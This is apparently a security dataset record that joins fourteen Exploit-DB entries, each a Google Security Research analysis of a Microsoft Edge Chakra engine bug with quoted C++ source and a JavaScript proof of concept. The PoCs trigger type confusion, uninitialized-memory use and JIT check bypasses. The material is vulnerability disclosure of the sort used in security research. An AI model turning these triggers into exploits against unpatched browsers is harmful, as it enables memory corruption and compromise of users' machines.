deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45431
Description: Microsoft Edge Chakra - 'PathTypeHandlerBase::SetAttributesHelper' Type Confusion
Type: dos
Platform: windows
Date: 2018-09-18
Author: Google Security Research

Exploit:
/*
Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
    {
#ifdef PROFILE_TYPES
        instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    }
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
    {
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;
    }
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
*/

let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion
Exploit-DB #42464
Description: Microsoft Edge Chakra - 'PreVisitCatch' Missing Call
Type: dos
Platform: windows
Date: 2017-08-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1266

function trigger() {
    try {
    } catch (x) {
        var x = 1;
    }

    print(x);
}

trigger();

When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars".

void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo)
{
    ...
    for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext)
    {
        Symbol* sym = pnode->sxVar.sym;

        if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar()))
        {
            if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar()))
            {
                ...
                sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope.
                ...
            }
        }

        // Emit bytecode which initalizes "sym"
    }
    ...
}


However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true.

Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack.

void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
{
    // Push the catch scope and add the catch expression to it.
    byteCodeGenerator->StartBindCatch(pnode);
    if (pnode->sxCatch.pnodeParam->nop == knopParamPattern)
    {
        Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item)
        {
            Symbol *sym = item->sxVar.sym;
        });
    }
    else
    {
        Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef;
        sym->SetIsCatch(true);
        pnode->sxCatch.pnodeParam->sxPid.sym = sym;
    }
    ...
}

PoC:
-->

function trigger() {
    try {
    } catch ({x}) {
        var x = 1;
    }

    print(x);
}

trigger();
Exploit-DB #42999
Description: Microsoft Edge Chakra - 'StackScriptFunction::BoxState::Box' Accesses to Uninitialized Pointers (Denial of Service)
Type: dos
Platform: windows
Date: 2017-10-17
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338

Here's a snippet of the method that interprets a javascript function's bytecode.

Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()
{
    PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)

    if (!this->closureInitDone)
    {
        Assert(this->m_reader.GetCurrentOffset() == 0);
        this->InitializeClosures();    <<------- (b)
    }

    ...
    ... interprets the bytecode

...

At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized.
But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.

void StackScriptFunction::BoxState::Box()
{
...

    if (callerFunctionBody->DoStackScopeSlots())
    {
        Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure();
        if (stackScopeSlots)
        {
            Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount());
            interpreterFrame->SetLocalClosure((Var)boxedScopeSlots);
        }
    ...
...

"stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.

It's a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.

PoC:
*/

function trigger() {
    let a, b, c;

    function g() {
        trigger();

        a, b, c;
    }

    g();
}

trigger();
Exploit-DB #43717
Description: Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)
Type: dos
Platform: windows
Date: 2018-01-17
Author: Google Security Research

Exploit:
/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());
Exploit-DB #44817
Description: Microsoft Edge Chakra - EntrySimpleObjectSlotGetter Type Confusion
Type: dos
Platform: windows
Date: 2018-05-31
Author: Google Security Research

Exploit:
/*
function opt(w, arr) {
    arr[0] = 1.1;
    let res = w.event;
    arr[0] = 2.3023e-320;
    return res;
}

let arr = [1.1];
for (let i = 0; i < 10000; i++) {
    opt(window, arr);
}

The above code will be compiled as follows:
000001a8`8000122b 48b8503dcfd5ff7f0000 mov rax,offset chakra!DOMFastPath<7>::EntrySimpleObjectSlotGetter (00007fff`d5cf3d50)  // w.event
000001a8`80001235 48ffd0          call    rax
000001a8`80001238 488b8e30bdf0ff  mov     rcx,qword ptr [rsi-0F42D0h]
000001a8`8000123f f2480f104158    movsd   xmm0,mmword ptr [rcx+58h]
000001a8`80001245 f2490f11442418  movsd   mmword ptr [r12+18h],xmm0  // arr[0] = 2.3023e-320;
...

As you can see, there's no "ImplicitCallFlags" check after the call to the "EntrySimpleObjectSlotGetter" method. The code was generated based on the assumption that the method has no side effects. But in fact, the method can have side effects. The method wraps the return value using the "CrossSite::MarshalVar" method which traverses up the prototype chain of the given object using the "GetPrototype" method, since the "GetPrototype" method may invoke the "getPrototypeOf" handler of a Proxy object, changing the type of the array in the handler will lead to type confusion.

PoC:
*/

function opt(w, arr) {
    arr[0] = 1.1;
    let res = w.event;
    arr[0] = 2.3023e-320;
    return res;
}

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentWindow;

    for (let i = 0; i < 100000; i++) {
        opt(window, [1.1]);
    }

    let set_callback = new f.contentWindow.Function('callback', `
        window.__lookupSetter__('event').call(parent, new Proxy({}, {
            getPrototypeOf() {
                callback();
                return {};
            }
        }));`);

    let arr = [1.1];
    set_callback(() => {
        arr[0] = {};
    });

    opt(window, arr);
    alert(arr);
}

main();
Exploit-DB #42473
Description: Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2
Type: dos
Platform: windows
Date: 2017-08-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290

I think the fix for #1045 is incorrect.

Here's the original PoC.

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(100);

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();


I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(0);  // <<--------- 100 -> 0

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();
Exploit-DB #43715
Description: Microsoft Edge Chakra - Incorrect Scope Handling
Type: dos
Platform: windows
Date: 2018-01-17
Author: Google Security Research

Exploit:
// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
Exploit-DB #45889
Description: Microsoft Edge Chakra - OP_Memset Type Confusion
Type: dos
Platform: windows
Date: 2018-11-19
Author: Google Security Research

Exploit:
/*
Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for   issue 1581  .

PoC:
*/

function memset(arr, value, n) {
    for (let i = 0; i < n; i++) {
        arr[i] = value;
    }
}

function trigger(arr, buggy) {
    let tmp = [1];

    arr.length;

    let res = tmp.concat(buggy);
    arr[0] = 0x1234;
    arr[1] = 0;
}

function main() {
    let tmp = (new Array(100)).fill(1);
    for (let i = 0; i < 500; i++) {
        memset(tmp, 1, tmp.length);
        trigger(tmp, [1]);
    }

    setTimeout(() => {
        let buggy = [1];
        let arr = [1, 2];

        arr.getPrototypeOf = Object.prototype.valueOf;

        buggy.__proto__ = new Proxy({}, arr);

        memset(buggy, -524286, 1);
        trigger(arr, buggy);

        alert(arr);
    }, 100);
}

main();
Exploit-DB #42476
Description: Microsoft Edge Chakra - Uninitialized Arguments (1)
Type: dos
Platform: windows
Date: 2017-08-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1297

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
    tokens declarationType, charcount_t ichMin,
    BOOL fAllowIn/* = TRUE*/,
    BOOL* pfForInOk/* = nullptr*/,
    BOOL singleDefOnly/* = FALSE*/,
    BOOL allowInit/* = TRUE*/,
    BOOL isTopVarParse/* = TRUE*/,
    BOOL isFor/* = FALSE*/,
    BOOL* nativeForOk /*= nullptr*/)
{
    ...
    if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
    {
        // This var declaration may change the way an 'arguments' identifier in the function is resolved
        if (declarationType == tkVAR)
        {
            m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
        }
        else
        {
            if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
            {
                // Only override arguments if we are at the function block level.
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
            }
        }
    }
    ...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
-->

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();
Exploit-DB #42477
Description: Microsoft Edge Chakra - Uninitialized Arguments (2)
Type: dos
Platform: windows
Date: 2017-08-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1298

Similar to the  issue #1297 . But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:
-->

function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();
Exploit-DB #44079
Description: Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion
Type: dos
Platform: windows
Date: 2018-02-15
Author: Google Security Research

Exploit:
/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
*/

function opt(arr, arr2) {
    arr2[0];

    arr[0] = 1.1;
    arr2.reverse();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching 
    delete arr[1];  // avoid doArrayMissingValueCheckHoist

    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    Array.prototype.sort.call(arr, () => {
        arr2.__proto__.__proto__ = arr;
    });

    opt(arr, arr2);
    print(arr[0]);
}

main();
Exploit-DB #45571
Description: Microsoft Edge Chakra JIT - 'BailOutOnInvalidatedArrayHeadSegment' Check Bypass
Type: dos
Platform: windows
Date: 2018-10-09
Author: Google Security Research

Exploit:
/*
The BailOutOnInvalidatedArrayHeadSegment check uses the JavascriptArray::GetArrayForArrayOrObjectWithArray method to check whether the given object is an array. If it's not an array, it will decide to skip the check which means that no bailout will happen. The JavascriptArray::GetArrayForArrayOrObjectWithArray method determines it by comparing the vtable of the given object like the following.

        if(vtable == VirtualTableInfo<JavascriptArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_Array;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeIntArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeIntArray;
        }
        else if(vtable == VirtualTableInfo<JavascriptNativeFloatArray>::Address)
        {
            *arrayTypeIdRef = TypeIds_NativeFloatArray;
        }
        else
        {
            return nullptr;
        }

        if(!array)
        {
            array = FromVar(var);
        }
        return array;

Since wrapping an object with the CrossSite class replaces the vtable of the object, this can be used to bypass it.

PoC:
*/

function opt(x_obj, arr) {
    arr[0] = 1.1;
    
    x_obj.a = arr;  // Replacing the vtable.
    arr['leng' + 'th'] = 0;  // The length changes, but the BailOutOnInvalidatedArrayHeadSegment check will think that it's not an array. So no bailout will happen.

    arr[0] = 2.3023e-320;
}

let x_obj = document.body.appendChild(document.createElement('iframe')).contentWindow.eval('({})');
let arr = [1.1, 1.1];

for (let i = 0; i < 10000; i++) {
    opt(x_obj, arr.concat());
}

opt(x_obj, arr);

arr[1] = {};  // in-place type conversion
alert(arr);
Exploit-DB #45215
Description: Microsoft Edge Chakra JIT - 'DictionaryPropertyDescriptor::CopyFrom' Type Confusion
Type: dos
Platform: windows
Date: 2018-08-17
Author: Google Security Research

Exploit:
/*
Here's the method.
    template <typename TPropertyIndex>
    template <typename TPropertyIndexFrom>
    void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)
    {
        this->Attributes = descriptor.Attributes;
        this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;
        this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;
        this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;
        this->IsAccessor = descriptor.IsAccessor;

#if ENABLE_FIXED_FIELDS
        this->IsInitialized = descriptor.IsInitialized;
        this->IsFixed = descriptor.IsFixed;
        this->UsedAsFixed = descriptor.UsedAsFixed;
#endif
    }

Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.

PoC:
*/

let x = 1;

this.x = 0x1234;  // IsShadowed

// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.
for (let i = 0; i < 0x10000; i++) {
    this['a' + i] = 1;
}

// Set IsAccessor
this.__defineSetter__('x', () => {});

// Type confusion
this.x;
Exploit-DB #43183
Description: Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly
Type: dos
Platform: windows
Date: 2017-11-27
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();